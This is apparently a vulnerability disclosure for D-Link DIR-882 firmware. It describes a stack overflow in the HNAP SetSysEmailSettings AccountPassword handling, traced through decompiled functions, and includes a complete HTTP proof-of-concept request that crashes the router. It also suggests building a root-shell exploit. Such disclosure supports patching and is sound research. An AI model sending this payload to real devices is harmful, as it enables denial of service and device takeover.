# D-link DIR882-2 ###### tags: `D-Link` `DIR-882` vendor:D-link product:DIR882 version:DIR882A1_FW130B06.bin type:Stack Overflow author:Yifeng Li, Wolin Zhuang; ## Vulnerability Details ![](https://i.imgur.com/I554WK3.png) In module SetSysEmailSettings,the content obtained by the program through SetSysEmailSettings/AccountPassword is passed to v2, which is controllable for attacker and copied to variable v11 which is passed into fuction decrypt_aes as a parameter. ![](https://i.imgur.com/JR0h34a.png) ![](https://i.imgur.com/qCB3Lnd.png) After that, it is passed into function sub_426D74 as the first parameter as a2.Besides, we notice that local variable v6 is placed on the stack, which is also passed into function sub_426D74 as the second parameter. ![](https://i.imgur.com/DDR99OK.png) In function sub_426D74, the for loop from line 26 to line 32, first copy a1 to v7 then strtol transfer v7 to a2, which briefly, a2 equals hexdecode(a1).Let's start over again, a1, comes from a2 in function decrypt_aes, a variable is controllable to the attacker.And a2 comes from v6 in function decrypt_aes which is placed on the stack, so when we copy a1 to a2 in sub_426D74, we are basically putting v4's value into v6, which leads to a stack overflow vulnerbility . ![](https://i.imgur.com/dTeLfRi.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: In order to reproduce the vulnerability, the following steps can be followed: 1. Install firmware DIR882A1_FW130B06.bin to router DIR882 2. Login to as admin 3. Attack with the following POC ![](https://i.imgur.com/SPDDY99.png) ``` POST /HNAP1/ HTTP/1.1 Host: Content-Length: 1025 Accept: text/xml HNAP_AUTH: A5E647B81CF1521162A5597FC946BB87 1669785103202 SOAPACTION: "http://purenetworks.com/HNAP1/SetSysEmailSettings" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Content-Type: text/xml Origin: Referer: Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: uid=UxTiwg3g Connection: close <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <SetSysEmailSettings xmlns="http://purenetworks.com/HNAP1/"> <SysEmail>true</SysEmail> <EmailFrom>admin@qq.com</EmailFrom> <EmailTo>admin@qq.com</EmailTo> <EmailSubject/> <SMTPServerAddress>admin</SMTPServerAddress> <SMTPServerPort>1080</SMTPServerPort> <Authentication>true</Authentication> <AccountName>admin</AccountName> <AccountPassword>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</AccountPassword> <OnLogFull>false</OnLogFull> <OnSchedule>false</OnSchedule> <ScheduleName>Always</ScheduleName> </SetSysEmailSettings> </soap:Body> </soap:Envelope> ``` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to dos circunstance.You can write your own exp to get the root shell. ![](https://i.imgur.com/Eiw1pDH.png)